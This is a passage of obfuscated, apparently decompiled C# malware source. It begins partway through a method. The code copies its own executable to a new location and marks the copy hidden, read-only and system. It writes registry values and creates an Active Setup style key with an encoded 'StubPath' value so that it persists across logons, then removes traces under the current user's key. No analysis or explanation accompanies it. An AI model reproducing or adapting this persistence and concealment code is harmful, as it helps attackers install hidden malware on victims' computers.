          byte[] bytes = System.IO.File.ReadAllBytes(Application.ExecutablePath);
          if (!System.IO.File.Exists(str))
            System.IO.File.WriteAllBytes(str, bytes);
          if (System.IO.File.Exists(str))
          {
            if (this.hyrbz1kfxjvaxj0vistcunjymen3kporm == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("1"))
              System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.Hidden);
            if (this.Ajiami1b52zvc3vohgymtmh5a == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("1"))
              System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.ReadOnly);
            if (this.R3u01lftwibuhcd22 == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("1"))
              System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.System);
          }
        }
        this.Myk2onyuqzunnxikmdzm0nc2t(panz0mon2f5aateyhtphwozah.Dsknrcn3xgwm4kutqcymeqtg4(this.n321udrptnm3xnkdwdxsh0wft(executablePath, 95, wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("NDLAWVBMC2KZBPWFB5J3JGQNQ"))));
        if (!this.cwygyk0oxmm4oly4f)
          return;
        this.Dsqyxep1xbkqqwuokcmpwlnunygdkudqf();
      }
      catch (Exception ex)
      {
        Console.WriteLine(ex.Message);
      }
    }

    private void Ruzxivkrma3hdd1il(
      string u0jp0x5zrl0q5ayh3v2w1bp40,
      string Ef15akjyi4th4fsci,
      string iep4bqxi0rq5itx040ytg2d2x0q13s5of,
      int Fzyx2nfbtm3vn3bdgfaytm0sm)
    {
      this.sdztd0ena42ywf4cfnspntfxhjgjjuo2x = true;
      if (Fzyx2nfbtm3vn3bdgfaytm0sm == 1)
        Registry.CurrentUser.OpenSubKey(u0jp0x5zrl0q5ayh3v2w1bp40, true).SetValue(Ef15akjyi4th4fsci, (object) iep4bqxi0rq5itx040ytg2d2x0q13s5of);
      if (Fzyx2nfbtm3vn3bdgfaytm0sm == 2)
        Registry.LocalMachine.OpenSubKey(u0jp0x5zrl0q5ayh3v2w1bp40, true).SetValue(Ef15akjyi4th4fsci, (object) iep4bqxi0rq5itx040ytg2d2x0q13s5of);
      if (Fzyx2nfbtm3vn3bdgfaytm0sm != 3)
        return;
      RegistryKey subKey = Registry.LocalMachine.CreateSubKey(u0jp0x5zrl0q5ayh3v2w1bp40 + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("\\") + Ef15akjyi4th4fsci);
      subKey.SetValue(wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("htaPbutS"), (object) iep4bqxi0rq5itx040ytg2d2x0q13s5of);
      subKey.Close();
      if (Registry.CurrentUser.OpenSubKey(u0jp0x5zrl0q5ayh3v2w1bp40 + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("\\") + Ef15akjyi4th4fsci, true) == null)
        return;
      Registry.CurrentUser.DeleteSubKey(u0jp0x5zrl0q5ayh3v2w1bp40 + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("\\") + Ef15akjyi4th4fsci, false);
    }

    private static void Main(string[] args) => new ekrod4bellvfxnmof().fkjhdaxsce2gfuv1fe5y42qsk();
  }
}
